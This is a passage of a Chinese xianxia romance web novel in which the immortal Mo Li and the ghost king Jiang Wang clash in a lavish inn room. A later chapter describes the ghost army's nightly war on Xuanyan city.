但反过来看,陌离仙君从无情史,绝对忠诚,绝对纯洁。
所以江妄不喜欢自己,难不成是因为自己太机灵了,不够呆?啊呸,不够正经?
那要不自己也学学陌离,正经点,没准儿江妄就喜欢了……然而这个念头刚在姬瀛丘脑子里过了一瞬,就立刻被他否决了。
姬瀛丘就是姬瀛丘,得失与否,都不该丢了自己。更何况是注定得不到的东西。
他姬瀛丘已经付出了金钱、时间、以及一点点的真心,这些已是他能负担起的极限了。再多……再多便不行了,他也没有再多了。
感情本是身外之物,合该拿身外之物换取。若是付出了自己,那么无论起因经过结果如何,皆是不值。
可惜,这么简单的道理,小姑姑不明白,江姐姐不明白,他这表弟也不太像明白的样子。
不止他们,下界千千万万的痴心人,都不明白。
25. 第 25 章
陌离在酒楼和江妄不欢而散后,也没回绛楼,他就在大街上找了个角落,然后,开始发呆。
他一动不动地站着,却感觉自己全身的血液在翻腾,胸口滞涩呼吸不畅。
他现在知道这种情绪叫“生气”了,却不明白自己到底在生什么气。
生气她乱说一通吗?
不是的。因为他很清楚,她一直是这样的性子。
那……
也许不是在生她的气,陌离这样想着。又或许,这种情绪也不完全是生气。
没等陌离悟出个具体来,迎面来了一辆斗车,里面装的全是垃圾。
操控斗车的是个低阶修士,他正要揭开车上的封闭符倒垃圾,定睛一看,发现有个人在这。
这人真逗儿,穿一身灰站在垃圾点,但凡他没看清楚,就一车垃圾倒他身上了……
他赶紧又把封闭符按回去,这味儿他是受不了。
“喂!哥们!我要倒垃圾了,让开!”他扯着嗓子提醒。
结果那人一动不动,像个桩子一样站在原地。
一阵风刮过,低阶修士打了个寒颤。他低下头看了看,嗯虽然是角落里,也能看见影子,是人。
“再不让开,我直接倒了。”他再一次提醒。
陌离还是一动不动,没听到一般。
低阶修士:……好好好。
最后他废了点儿灵力,把垃圾在空中拢在一起,挪去那人旁边堆着,没直接扣他身上。但他再没多余的好心去费一张封闭符。平时垃圾也是这么堆着的,这可是垃圾点儿啊!
他只是负责集中绛楼附近的垃圾,然后垃圾点上的传输阵自会定时处理。
修士收起他多余的同情心,不再管那个站在垃圾堆旁边的怪人,操控着斗车转身走了。
陌离还没回神。
他知道有人在叫他,也能闻到身边的阵阵恶臭。
他其实一直都不那么懂为什么人们讨厌垃圾。
因为臭吗?因为脏吗?
可是什么是臭,什么是脏,什么又是“讨厌”?
他很清楚,“陌离仙君”要不染尘埃,要远离这些所谓脏臭的东西。可他现在不是陌离仙君,只是阴沟里一个没人在意的东西,不用装模作样。
他便继续站在那里,站在垃圾堆旁边,发呆。
垃圾堆也有堆不住的时候,烂了的灵果核、不知道用作什么的布帛、耗尽灵力的木料……一件一件地落到陌离脚边。
陌离缓缓低头,一张还残留着微末灵力的传单映入眼帘。他呆滞的双眼凝起了几分神采。
……
陌离坐在一家商行二楼看着下面的拍卖会,刚发了一会儿呆,下面就到了他要拍的东西。
是一条鲛绡制成的月白色飘带。
这条飘带没有过多的装饰,甚至只附着一道保护铭文。拍卖师拿在手里展示时,轻薄的近乎透明,只是偶尔划过些晶莹的银光。
也许因为是鲛人制成的,它有个好听的名字:海情。
说它是法器,它确实是。作用嘛,却很鸡肋。
戴在身上,佩戴者整个人便被看不见的鲛绡包裹起来,与外界隔离。不染纤尘,无畏风雨,不受日晒。
在场几乎都是结丹以上,随手便能施展清洁术,更是炼体到达一定境界无所谓日晒。
最重要的是,鲛绡很不实用,一旦与人对战,纵海情是法器,也很容易就被破坏了。
所以,在陌离以起拍价的三十倍拍下这条飘带时,几乎所有人都向二楼陌离所在的包厢,投去了看二傻子一样的目光。
陌离却没在意,在海情送到自己面前时开心地拿了起来,他目光呆滞,唇角却勾起了一个笑容。
送东西的人:……哪个地主家的傻儿子跑出来了?
陌离出了商行,他下意识抚了抚减翠的剑穗,那是他的储物空间。那些莫名其妙使他难受的情绪稍稍散去了些。
没关系。鬼又如何。
待他弄清楚她的死因和化鬼执念,他就去把让她死了的人千刀万剐,然后再帮她完成执念。
至于“念散魂消”……
不让她知道就是了。
可她总会知道,天下没有不透风的墙,何况本就是她自己的执念。
……
等他历劫失败,修为回来之后,他就把她带回遥岑,再不让她有接触外界的机会。
魔化……
陌离一想到这两个字,又开始觉得胸口闷痛,额头像是被紧箍了起来,连带着眼眶胀涩。
他抬手按住胸口,闭了闭眼。
总会有办法的。
就算是魔化了……也,没关系的。一个魔化的小鬼而已,一世而已,他能看得住。
陌离放下手,他抬起头,在繁华的大街上,对着空气,露出了一个笑容。
他唇色浅淡,笑容也浅淡。一双琉璃眸空空茫茫,却因这个浅淡的笑容衬得不那么呆板,好像装尽了天下的悲悯。他墨发半披,执剑而立,穿着最普通的衣物,却与世俗格格不入。
仙君一笑,万物都好像失了颜色。
路人:!
神仙啊,真好看。
陌离一动不动,雕像般站在那面带微笑。
路人:……
快走快走,这谁家傻子乱跑。
……
陌离站在商行门口发了一会儿呆,这次他得出了很多结论,真是他一下午发的最有效率的呆了。
他折回酒楼,正赶上酒楼最热闹的时候,一大群人拥在门前,酒楼的人正在费力组织排队。
里面闹哄哄的,隐约还有歌舞乐声传来。原来是酒楼今晚来了几位听香楼弟子,一楼搭起了个台子供他们发挥。
应该是因为绛楼还修着,这些弟子一时没什么地方去,出来赚点儿外快。
陌离搞不懂,都是人有什么可看的。
他也不想搞懂,拎着减翠越过重重的人山直接往里走。
结果当然被门口侍者拦下了,“这位公子,我们这边需要排队。”
“对啊对啊,哪有直接进的,你还想插队不成?”后面队伍里也有不满的声音传来。
陌离面无表情掏出一把高阶灵石。
……
陌离又掏出一把高阶灵石。
……
陌离正要再掏出灵石,门卫抱着一堆高阶灵石,一脸扭曲地拦住了他的动作,
“……请进。”
陌离神色不变,很自然地走了进去,空留身后一片寂静。
……听香城,绛楼附近,如此大的手笔,这是南界首富吗?所有人心里都泛着同样的嘀咕。
那临街雅座里早就换了客人,陌离一点儿也不感觉意外,他没多作停留,转身就走。
早在酒楼外面,他就没感应到她的气息,也知道那人不可能在这里干坐一下午。
但他还是想亲眼看一下。
万一呢?万一她一直在等着他呢?
就像她死前,有没有那万分之一的可能,在等着他,等他突然出现,杀光一切会导致她死亡的人,保下她呢?
还好她没有等着他。
……
陌离走出酒楼,好像听不见身后一片嘘声。排队的众人以及门卫,对陌离这种重金溜达一圈的行为,简单概括为两个字,“有病”。
陌离又去了绛楼。
除了熙鹤堂
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被江妄的魂力封锁着,他进不去,其他地方都找了,也不在。
他去了绛楼附近的街市、碎荷巷缥楼,甚至是段勇家,都不在。
他明明有能直接找到她的办法,但他不想用。只用笨方法一点点找。
可找到现在,他感觉自己越来越不舒服,躁意在全身蔓延。他想立刻见到她,虽然没有什么特别的事,但就是想见她。
想跟她道歉,无论如何,他下次都不会自己离开。想把海情给她,这样她就可以不用再戴着那顶白得不吉利的帷帽。
真好笑,他一个大乘修士,也会觉得白色顶在头上不吉利。
所以,他拿出遥岑的寻鬼仪来,引了帷帽上她的一缕气息。
其实他一直都很清楚不是吗?
若真是沾上了那样浓重的鬼气,那碰到的又会是怎样一群厉鬼,即便修为在化神也很难安然无恙不是吗?
现在鬼界与暄妍开战,而她夜夜出城,从不避讳。
蒋六,六六大顺,江大顺,鬼王江妄。
……
没有确切证据的时候,他还敢想一想,但后来……明明所有都摆到他眼前了,她也从未遮掩过。
但他不敢。
因为但凡想一想,都感觉头晕目眩,胸口翻搅几近作呕。
他不想知道为什么她明明化鬼,修为却不减反增。
得了机缘也好,练了邪功也罢,都无关紧要。
他也不想知道她整合鬼类要干什么,是愤怒暄妍城的驱鬼功法,单纯的想当鬼王玩玩,还是有什么灭绝人修的意图。
他只知道,那个脸上总是堆满了笑容的北界姑娘,在他看不见的地方,不知道怎么样的死了。甚至满心怨愤,不愿轮回。
这个认知,让陌离有一种燃烧生机去毁灭一切的冲动。他不想历劫了,不想再去找谏往镜了。
他只想……
只想什么呢?
而等他走进金碧辉煌的宾馆,就看见那个狐妖一身艳得刺眼,晃着他那只爪子勾着头发,对着自己要找的姑娘搔首弄姿。
陌离一时间愣住了,好像什么都顾不上想。减翠却比他的情绪还快,自动出鞘朝那缕头发劈去。
白衣姑娘也看了过来,当看到是他的时候,露出了一个惯性的笑容。好想一点儿也不意外他能找到这儿。
陌离平白生出戾气来。
他也不知道为什么,明明妖和鬼不会有任何结果,更不会生出“半妖”这样的怪物来,他的姑娘不会被世人遗弃,走上死路。
可是,他还是想要那狐妖死,立刻死。
他心口发酸,一阵阵的不明滋味上泛,很难受。再看着女孩唇边如常的笑意,脸上没有任何多余的神色,陌离不觉攥紧了减翠的剑穗。想起里面的海情,他突然有了另一种有别于生气的负面情绪。
这种情绪,不像“生气”那样,会在血肉里横冲直撞,而是一股一股涌上来的。却同样威力不减,叫人痛苦。
还没等陌离想出该怎么办,那一袭白衣的姑娘却向他走了过来。
到处金灿灿亮闪闪的大厅里,奢华写在每一块镶嵌墙壁的晶石上,站在柜台前的江妄缓步朝门口的陌离走了过去。
一步步白衣潋滟,踏着生死相隔那条界限,生这边的人心绪翻涌,死那边的鬼爱恨难言。
华丽的背景和无关紧要的人被模糊得彻底,陌离那双冰透的眼睛里,只剩下女孩鸦色的瀑发,纯白的衣角,明亮的双眸,和,张扬的笑意。
他恍然意识到,好像每一次,都是那片白衣主动向他而来。
陌离捏了捏剑穗,终是迈开步子迎了上去。朝着那片白色衣角,也是朝着,自己那颗生了肉芽的心脏。
26. 第 26 章
“劈人家柜台干嘛啊?”江妄朝他笑笑,略有无奈道。“要赔钱的。”
陌离看着江妄,半晌,
“对不起。”他眸色认真,万分郑重地说了这一句。
江妄:……倒也不至于。
陌离脑子又抽风了?
她扯扯唇角,也不再纠结陌离犯什么毛病,“你来的正好,红蝴蝶给我开了间上房,一起住?”
姬瀛丘:???
不是,咱没离多远呢,你当我不存在呗?
陌离轻轻扫了一眼姬瀛丘,虽一眼,犹如万钧杀气凝结眸中。但他没有任何动作。
减翠嗖一下从地上拔出来,化作一道翠绿的光回到陌离手里。陌离收回视线,重新认真地看着江妄,
“好。”
江妄也没多想,之前在绛楼不也是一直住一间吗?当时李甜甜把他俩安排在金露阁,那可是彻彻底底的一张大床。
然而江妄忽略了一件事。
这些天她和陌离二人,一人忙着发疯一人忙着发呆,并没有产生关于床铺分配的问题。
而今天在这宾馆的一间房,那就是单纯的一间房。此“住”,非彼“住”了。
江妄用脚勾了一下刚刚掉在地上的托盘,钥匙浮起至江妄面前,她刚想拿,便被陌离拦住了。
江妄有点不解,就看陌离掏出了一大袋灵石。他上前几步,放进杵在一边的掌柜怀里,“柜台的钱。”
掌柜一时间没反应过来,只下意识搂住沉甸甸的袋子。他感受着袋子里过于浓郁的灵气,看着面前的“大款儿”,生怕这位一个心情不好再给他补一剑。
他颤声道,
“公子,有点多。”
陌离面无表情道,“不多,我们重开一间。”之后他想了想又补充道,“要最好的。”
江妄:……白捡的便宜不占,陌离脑子有病吧?
姬瀛丘:……
不对,我应该高兴啊。他把那疯子拉走了,我一会儿不就可以把那间退了?
这么多高阶灵石,够多少族人进阶了,又不是为了接待外宾充场面,闲着没事在这住一晚上,真是有钱没地方花了。
姬瀛丘摇着脑袋,一身金饰哗啦啦地响,试图给自己摇清醒了。
他目送着那两个身影消失在楼梯尽头,那张不正经的脸上少有的不见笑容。
他一身红衣站在那里,高领紧紧缚着他的脖颈,托着他姝丽的脸,这大堂里金闪闪的一切都比不上他发间三只金簪耀眼。
……
江妄把玩着手里的钥匙,发现这个明显比之前掌柜递给姬瀛丘的大很多,质感也更好。
哼,江妄有点生气。明明之前自己也跟掌柜说了,要开两间最好的。合着他就没把她这个鬼王放在眼里!
走过大堂金光闪闪的楼梯,刚踏上平台,江妄二人就被空间阵法包围,再看见的,就是一扇黑晶鎏金的门。
门牌上暗刻着四个字,“青山衔斗”。
江妄心里万分不屑。就你们这么庸俗炫富的装修风格,还学人家风雅。
黑晶门上的金光停止流淌,慢慢汇聚在一处,形成一个金色的小洞,江妄抬起手,把钥匙放了进去。
小洞里的金光蔓成一条直线,直线把门均匀地分成了两半,黑晶缓缓分开,露出房间的全貌来。
这他妈的哪算是“房间”啊!
江妄目瞪狗呆。
只见青山延绵雾中,周围有星子零散环绕,宛若点点萤火。虽见光芒,却让人依旧只知轮廓,看不透山峦全貌。
江妄一度怀疑这宾馆阵法坏了,把他们传送到外面了。
要不然,他们是来住店的,把他们传到山上,是想让他们露营吗?
江妄还没停止脑子里乱七八糟的想法,身边的人突然牵起了她的手,
“走吧。”陌离道。
江妄难得顺从,她点点头,和陌离往前走了一步。
刚一迈腿,就发现他们不是踩在地上,而是空中,不,是空间隔离上。再向前一步,还是在空中,而且好像更高了一点。
他们的脚步一直被预判,按照这里的规则在凌空走,像是在走看不见的天梯。
不知道走了几步,江妄二人已经站在很高的空间隔离上了。之前他们看见的是一片连绵山脉,后来一步一步,好像在离山越来越近。
不知不觉回过神来,现在就只能看见朦胧雾气下,灵气流转,青纱层层叠叠舞动。
好绝妙的幻阵。
青山和星子是假,凌空而立是假。这房间里其实只有,青纱烟雾包裹的大床,灵气缥缈的温泉,和燃烧着灵力的高阶灵石。
这装修,其实和绛楼差不多的套路。
……
看着这氛围感拉满的大床,以及除了烟雾毫无遮蔽的温泉。江妄这才后知后觉,和陌离一起住,多少有点不合适了。
她转头看看陌离,想从他那张面无表情的脸上捕捉点儿情绪,可注定以失败告终。
要不凑合凑合一起吧?
江妄抬起一只手,看了看自己圆润的指甲。
算了,别半夜忍不住给陌离掐死了。
她还没开始玩呢,可不能就这么结束。
江妄笑笑,
“公子,我突然想起来,我还有点……事。”
话还没说完,就被一只修长的手捂住了嘴。随后,她看到,陌离那张美的不似真人的脸上,露出了一个笑。
江妄双眼瞪大,一脸见了鬼的表情,虽然她自己就是鬼。但现在她只觉得,陌离的笑比魔化的鬼还可怕。
只听他道,“嘘,别说。”
江妄满脑子问号,就感觉捂住她嘴的手松了些力道。
二人保持这个姿势僵持了一会儿。
好像是很满意江妄的听话,那只手彻底卸了力气,只是虚虚地环着江妄。
“你先洗,好吗?”
陌离声音很低,似耳语般缠绵,不复平日里半分的冷清。
江妄感觉脑子已经满是浆糊,根本无暇思考现在的情况。她瞳色本就漆黑,此刻更是黑得好像要滴出墨汁般的浓稠。瞳孔边缘的红晕逐渐扩散开,周身鬼气丝丝缕缕地渗出。
偏偏揽着她的人,像是感觉不到那透骨的阴凉一般,仍然固执的维持着之前的动作,
“那我们一起洗吧。”他直接做了决定。
江妄控制不住心间戾气,好像有万蚁啃噬着她的理智。
陌离不是不染世俗,断绝人性吗?现在又是在做什么?
自己死了,他就开窍了?想尝试男欢女爱了?
凭什么。
江妄咧开唇角,嫣红的唇勾出一个极尽癫狂的笑。她的双眼彻底被血光覆盖,鬼气骤然爆发,很轻易地把身后的男人震飞了出去。
江妄轻轻转过身,盯着空间隔离上不断咳血的男人,她笑得更加开心,身影瞬间来到男人面前。她一抬手,鬼气把男人吸起,江妄顺势掐住他的脖子。然后,逐渐收紧。
一道翠绿的剑光在二人身边盘旋,可却迟迟得不到主人进攻的指令,只能像无头苍蝇一样乱飞。
或者说,它的本能就限制了,它根本不会攻击那个满身鬼气的姑娘。
陌离被迫仰着头,一张脸虽然些微地膨胀发紫,也丝毫不影响他的俊美。
他被血液染红的嘴唇微张,那双琉璃般的眸子也因为缺氧,无法完全聚起神采,好像和他惯常的呆滞没什么区别。
可却是不一样的。
因为此刻他用尽了全部的力气,半分没用来挣扎,而是在看眼前的姑娘。
从前世间万物他看不进去,也不想看进去。又瞎过一阵,就真的觉得,能看见与否于他而言,并无半分区别。
后来,不知道从什么时候开始,他眼里有了一个轻轻浅浅的白影。不用多费力,就能那么清清楚楚、明明白白地看见。看在眼里,刻在心间。
哪怕这一刻,这个白衣的姑娘满身裹着至戾的鬼气,黑气凶煞,红芒狰狞。
他依然那么想看清楚她,想在窒息前,把她牢牢记在心里。
要死了吗?
虽然现在只有元婴境,但他到底是大乘的躯体,应该不会轻易死去的。
就算死了,也总有办法活过来的。
对,他不能随便就死了,他的姑娘还要他来看护。
可若是这么死一次,这飞升劫,怕是要败了。
……
那就败了吧。
雪境他还是会去,谏往镜,能找到就找,找不到……就算了。
好奇了一辈子的事,现在好像也不那么想知道了。他现在就只想……
只想看着他的姑娘。
陌离艰难地笑了一下。
“笑”这个动作,他一直都会。忘了是什么时候学会的。
直到现在他才发现,这个动作,根本用不着“学以致用”“举一反三”那么麻烦。
看见她,便是无师自通。
可她什么事都是笑着的,对谁都是笑着的。濒死的飘然感已经让他没有力气思考,陌离脑子里匆匆闪过几帧画面,最后竟诡异地定格在,那只狐妖满身艳红地对着女孩笑的一幕。
那狐妖说,“今晚,我伺候陛下。”
陌离神思错乱了一瞬,喉咙滚动了两下,竟鬼使神差地张口,
“陛下……”他低哑着喘息道。
“咳咳咳……咳咳咳咳咳……”陌离脖子前死死攥着的手猛然松开,陌离重新摔落回空间隔离上。
江妄再回过神来时,就看见陌离伏在空间隔离上,按着胸口咳得好像快死了。
再看他脖子上青紫的掐痕……
很好,自己差点儿把陌离仙君玩死。
她就说自己不适合跟陌离住一起吧?看,出事儿了吧?
江妄笑了笑,不见半点儿心虚,嗓音还是那么清丽,
“公子啊,你这伤挺严重的,记得用点儿药。我还有事,先走一步。”
说罢,她施施然走下空间隔离,拿出那把钥匙。
黑晶门又出现,她开了门,随手把钥匙扔在地上,“我先走,钥匙给你放这儿了。”
“陛下。”
江妄停住了往外迈的脚。
啥?陌离叫她啥?一次她当他是神智不清,胡乱求饶,那现在……
别人叫,她江妄觉得无比自豪。陌离叫,江妄只觉得天雷滚滚。
江妄扶额转身,“公子?你是在叫我……”
我去!??
陌离要干什么?!
他要谋害朕!
陌离不知道什么时候脱了外衣,腰带护腕和那灰色的衣服一起堆在减翠上。
他跪坐在空间隔离上,脊背挺直,坐得相当端正。头颅微微低垂,叫人看不清神色,生生拉出距离感,偏生轮廓完美得仿若刀刻,神明一般静坐着,单论仪态能打满分。
可若是加上穿着一起评价,就……
挺不得体的。
上身只剩白色中衣松垮地围在身上,不但没有什么遮挡的作用,反而……还不如全脱了。
他肩颈曲线极美,皮肤白润得匀净,肌肉薄薄一层附在美人骨架上,只一把锁骨便撑起八分欲色。再往下,分明的腹肌隐在雪白中衣之下,条条沟壑延伸进紧扎的亵裤。
明明这样一副美景,却还是让人一眼注意到他喉间浓重的青紫,和唇角至下颌鲜红的血迹。
他手心似是有血,蹭在雪白的衣裤上,红的很明显。发绳显然是断了,有些散乱的墨发贴在他被擦破的面颊上。
高高在上的神君,好似不小心跌落了云端,摔了满身伤痕。
却没人想去扶起来,只想,把他拽入更深的地狱。
江妄嗤笑了一声。
她可好容易压下鬼气,陌离最好别逼她今天就开刀。
“你这是做什么呢?”江妄脸上还是笑着,只是语气里的情绪莫辨。
一直微微垂着头的人,听到她问话,这才抬起头来。
那样绝色的一张脸,配上几点血迹和半身伤痕。他衣不蔽体地跪坐在飘舞的青纱前,却无比坦然,好像没有半点儿诸如羞耻、难堪之类的情绪。
他还是那个不通凡俗,目空一切的陌离仙君。
他那对琉璃眼珠还是冰透一般,没有半点杂质,不见丝毫浑浊。可就是这至纯至净的冰,今日抬头看向江妄时,却散发出能把人灼伤的热。
“别走。”
他带血的唇一开一合,只吐出了这两个字。
江妄和他对视,并不说话。
陌离也看着她,也不知道在想什么。
他盯着江妄,过了许久,
“我比他好看。”他突然很肯定地说了一句。
?
江妄跟不上陌离的脑回路,一时间不明白他在说什么,所以没接话。
而到了陌离眼里,这沉默就有了其他含义。
半晌,他竟然扯出了一个,称得上温柔的笑,
“那狐狸精会的我也可以学。”
说罢,他怕江妄不信,又接着补充了一句,“真的,我学东西很快的。”
……???学什么?
狐狸精?是说红蝴蝶?
陌离说的是人话吧,那她
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怎么听不懂呢?江妄在心里怀疑两秒。
陌离定定地看着江妄,见她没有丝毫表示,他搭在大腿上的手,不觉攥紧了雪白的裤子。
他直起了身子,不再跪坐着,而是一个标准得不能再标准的跪姿。同时,他缓慢地松开抓着布料的双手。
那双白皙修长的手,就顺着中衣下摆往上攀,一点一点,像两块干巴僵硬的木料一样,移至胸口衣襟处。
他捏住衣襟,动作迟缓,却没有停下来的趋势。
江妄看着他这个不太熟练的危险动作,电光火石之间,她难得地和陌离的大脑同频了一瞬。
她想起来了。当时汝陵城外,红蝴蝶蹦出来跟着他们,说了一大堆有的没的。
那时候江妄因为一些奇奇怪怪的兴趣,并没有否认姬瀛丘那些似是而非的话,之后就直接忘了这件事了,一直没跟陌离解释什么。
所以,陌离不会一直以为,她跟红蝴蝶,有什么不正当关系,吧?
江妄瞬间头疼。
看着面前公子最后裹身的白衣已经半落不落,她赶紧开口阻止,
“不要!”她凶巴巴地喊了一声。
陌离拉衣服的双手顿了一下。他琉璃眸中灼热散去,蔓上几许灰败,有那么一瞬间的茫然,和平时发呆时没什么两样。
然而这次他很快回神,像是没听到江妄的话一般,继续之前的动作。
不知道为什么,他明明还是和之前一样那么笔直的身姿,淡然绝尘的神情,神官一样的气质和面容。却让人觉得,他好像要崩溃了。
“陌离你疯了!”江妄叫他。
这一声,彻底把两人之间早就心知肚明的,像是开玩笑一般的伪装撕去了。
陌离仙君。
鬼王江妄。
陌离听到这句没什么反应,雪白中衣终是飘然而落。他双手却仍停在胸前,维持着那个姿势,僵硬,又好像在轻微地颤抖。
江妄眯起眼睛,眼神暗了下来。
她毫不顾忌地扫视着这具躯体,最后把视线落在陌离青紫发黑的脖子上。
那样的破损,在那样极品的身躯上,虽然使其不再完美,却像是艺术的神来之笔,让人着迷,最后上瘾。
是陌离自己要脱的。
那就不怪她了。她不介意再填几笔。
陌离也注意到了她的视线。他想了想,不知道想到了哪去,最后竟然斟酌着说道,
“如果你不喜欢,我立刻就能让它好起来,再施个清洁术……如果你想,我也可以去那边温泉……用水洗。”他看了一眼那边烟雾缭绕的温泉。
江妄突然就清醒了。
因为她意识到,陌离来真的。
他是真的,想和她,上.床。
为什么?
她活着的时候,一切好说的时候,不行。
现在她还什么都没做呢。和之前的区别只是,她现在死了,而之前活着。
现在就行了?
就像赌上全部费尽一切,不留任何后路策划的复仇,刚刚开局,明明什么都没做,仇人却不配合了,直接一个滑跪,缴械投降任凭处置了。
那当初,又是为何要做这个仇人?!
这样不知所措的无力,远比复仇失败要痛苦百倍。
她只是死了一次,又化了鬼,而已。
江妄不知道该做什么样的表情,只能竭力地面无表情。满身鬼气好像都茫然了,不知道要去哪发疯。
“……江妄?”
生前死后,这是陌离第一次喊她的名字。江妄近乎麻木地想。
“你不愿意吗?不愿意……跟我……?”有人顶着红透的耳朵,瞳孔点点颤动着道。
耳边又传来陌离的问题。这些字句好像破碎地组在一起,割裂在江妄的思绪之外。
她笑了一声,“对,我不愿意。”
江妄歪了一下头,漆黑的瞳孔看起来有一种诡异的天真。她看着陌离那张出尘的面容,末了又低下头,看了看他平静的,没有半点凸起的亵裤。
“公子。”她眼中红光若隐若现,“你的怜悯来得太晚了。”
若是早一点,哪怕是怜悯,哪怕江北仙姬倨傲惯了,她江妄也要。
可惜,开局了。
他非要闹这么大。
“江妄……”陌离看着江妄越来越捉摸不透的表情,刚刚有了实感的新生心脏,就像是被人毫不吝惜的,挖下一个血淋淋的大洞,失温后不断下坠。
他向前膝行了两步,急切地想要抓住什么。
可还没等他抓住什么,下巴猛然被一只纤细的手掐紧抬起。
江妄闪身至他面前,捏住了他的脸。
她眼神晦暗,紧紧盯着陌离唇角近乎干涸的血迹。
江妄突然毫无预兆地低头,没给被她辖制的人半分准备时间,好像也没给自己半分准备。
她只是一时起意,她也不知道自己要干什么。
回过神时,她唇齿间已是一片黏腻。如果她有味觉,就能尝出满嘴的腥气。
江妄咬上了陌离的唇角。
鲜血渗出,为他总是浅淡的唇,添了稠红。
那人一直睁着琉璃般的眼眸,眼看着女孩长长的睫羽轻合,又向自己靠近,直到……不能再近。
他始终睁着眼,木人儿一般,没有半点儿动作。
他虽没迎合,可,也没有丝毫的反抗,任她予取予求。
身后青纱毫无征兆地疯狂舞动起来,卷起陌离丢下的白色中衣。灵石骤然加速燃烧,迸出的明亮的光芒来,把浓雾劈开。
细烟袅袅,星斗昭昭。
陌离眸色浅,眼睛被亮光刺狠了一下。
他却宁愿看着江妄被模糊的轮廓,不想闭上眼。
她明明那么近地贴着自己,鼻尖挨着他的面颊,他却感不到一丝的温度。二人之间,只能听见一个人的呼吸和心跳。
除了嘴上的刺痛,没有半点实感。
直到他被松开,陌离把视线重新聚焦,面前的人已经消失不见了。
……
风声小了,灵石恢复了正常的燃烧速度,纱帐在幽微的光里轻轻律动。
他到底是什么也没留住。
他再一次抬起僵硬的手,好像废了很大劲,才把指尖点在自己嘴唇上,然后轻擦了一下。
陌离盯着手上的血,眼前一片模糊天地旋转,好像世间只剩下这一点鲜红。
他再也不能保持脊背挺直,失力地向后一倒,颓然坐在空间隔离上。
神识里循环念着的清心诀随之停下,陌离微微皱眉,双颊泛上不自然的潮红。
27. 第 27 章
江妄闪身在大街上。来往行人因她的突然出现,稍稍惊呀了一下,但也只是打量几眼便扭过头去,继续自己的事了。
倒是有几个懂行的感觉出了非人的气息,狠皱眉头看着江妄,可也仅是看着,按兵不动。
现在的鬼可不像以前的鬼,想抓就抓,想杀就杀。
宿芳宫就是太过激进,才导致鬼界和暄妍城打得要死要活。
暄妍地区情势紧张到什么程度呢?
一言蔽之,“白日城空,夜半火通”。
大白天没人出门,家家门窗紧锁,四处鬼气弥漫,街道萧条得宛若鬼城。
晚上倒是灯火通明,“热闹”非常了,家家户户恨不得把所有的烛火都燃起来。无论富贵贫贱,每家都使烛火这种最原始的照明工具,暄妍城还是第一次这么统一。
暄妍地区驱鬼功法盛行,所以在暄妍城以及它的周边城池,一般像灯这种灵器里,运转的都不是寻常灵气,而是价格相对低廉的类灵气。
类灵气是什么?
就是鬼类的魂力提纯转化成的,用作灵气用途的一种低级能源。通常是由低阶鬼物制成。
毕竟高阶一点儿的鬼可比灵力贵多了,炼成鬼仆当作一大战力不香吗?
想要使用灵气,要画阵聚集天地灵气,或者消耗灵石,甚至是开采灵脉。与之相比,类灵气就相当省事节能了,还非常之耐用。举个例子,一只练气境的鬼制成的类灵气,足够十盏灵灯燃烧一年。
类灵气的制造是无本的生意,所带来的收益是相当可观的。因此,能提纯转化鬼物魂力的方法和器具,早已经被宿芳宫官方控制,严禁私造。违者是要处刑的。
虽说类灵气无限接近于灵气,但较灵气来说,还是多了点儿杂质,故通常应用于灵器,很少有人拿它修炼。
也正因为是用于灵器,这么多年,像供水供暖照明等,暄妍地区人们生活的方方面面,都离不开它。
可现在这个节骨眼儿上,谁敢去用这种东西,那怕不是想死的更快点儿。
襄竹宫灭那天晚上,群鬼狂欢,街道上鲜血横流。
鬼王临走时,踩在襄竹宫的废墟上,极尽嚣张地放话:
“像襄竹一样驱鬼的败类自不必说,等着就好。其余的,暄妍城内有一个算一个,谁再敢用类灵气,谁再敢养鬼仆,谁死!”
那传音遍布整个暄妍城,精准地刻尽每一个人的精神识海里,其实力之变态恐怖可见一斑。
修驱鬼功法的修士惊惶不已,纷纷躲在家中,可仍然挡不住那些杀红了眼的鬼。
那些鬼明明没有一只是魔化状态,却比魔化了还要疯狂百倍,一个个撕开门阵闯入他们家中,以极其残酷的手段宰杀人类。
鬼王江妄手下,有一鬼将,一鬼相。
鬼相倒还好,主要负责外交谈判,一张银翼面具遮住面容,也不影响他斯斯文文的气质。
可那女鬼将军,就活活是罗刹再世。
同样没人知道她长得什么样。
不是因为她像鬼相一样刻意模糊面容,而是,见过她的人都死了。
她实力强的可怖,加上行踪诡谲莫测,让宿芳宫伤透了脑筋。
当夜所有进攻的鬼都和她魂力贯通,相当于是她的无数个分身。而那些鬼也因附了鬼将在身上,无惧抓鬼法器和精神力压制,可以疯狂屠戮。
自从那夜战争打响之后,暄妍地区夜夜有人惨遭屠杀。
鬼将还很浪漫地发预告。
“今夜我将去xx(区域)做客,请诸位扫榻迎接。”预告一发,给足了那个区域的人等死的时间。
可慢慢的,大家在惊恐之余,也发现,不是所有人家都会遭殃。
确实像鬼王说的那样。那些幸存的人家都有共同之处,那就是,他们家中没有任何鬼仆鬼侍,也没有使用任何类灵气产品。
一时间,满大街都被丢满了贴着符纸的鬼仆,类灵气产品也被视作催命符。
有人抱着侥幸心理,不愿丢弃大价钱买来的鬼侍,把鬼侍藏在储物袋里。当晚鬼将按预告来临,照样把那人撕得粉碎。
还有一个人就相对搞笑了。他关了家里所有的类灵气设备,偏偏忘了马桶……可能他死的时候快委屈死了,想着自己下辈子一定好好修炼凝出金丹,再也不用马桶了。
“鬼将无处不在。”
怒号的阴风,疯卷的落叶,和阴森街上所有的鬼影,全部都可能是她。
这种情况下,自然无人敢安然入眠。
白日尚且安生,可一入夜,鬼群出动,不知道什么时候就会被杀死的恐惧占据了所有人的心脏。即使很多人是修者,黑暗对他们影响不那么大,他们也深深畏惧着满是未知的黑暗。
可长年使用类灵气,其他地区基础灵力能源的供给系统,在暄妍地区完全是荒废的状态。
宿芳宫又不作为,对于能源问题视而不见。一则是宿芳宫主张剿鬼开战,不希望民众放弃类灵气的使用;二则,襄竹宫灭,经济赤字严重,正是缺钱的时候。加上暄妍地区被鬼王封锁,也根本无法从其他地区运来灵石。
他们只能点烛火来照明。
在这一个个鲜血浸染的夜,尖叫哭喊和鬼影交融,每家都紧紧锁着门,把所有能开的防护阵都打开,人缩在桌底或床下,紧紧盯着那些摇摇欲坠的灯烛。
只祈祷烛火照的通亮,越亮越好,灼人的热最好,也许能照尽一些污秽,让他们心下稍安。
待到天明,反应过来自己还活着,才算是大松一口气。
而如今的听香城看似如往日一般繁华,实则亦是暗流涌动,各方势力都紧绷着一根弦,与鬼界的关系更是如履薄冰。毕竟听香楼的基阵都被鬼王毁了。
虽然,他们也不知道听香城哪里得罪鬼王了。
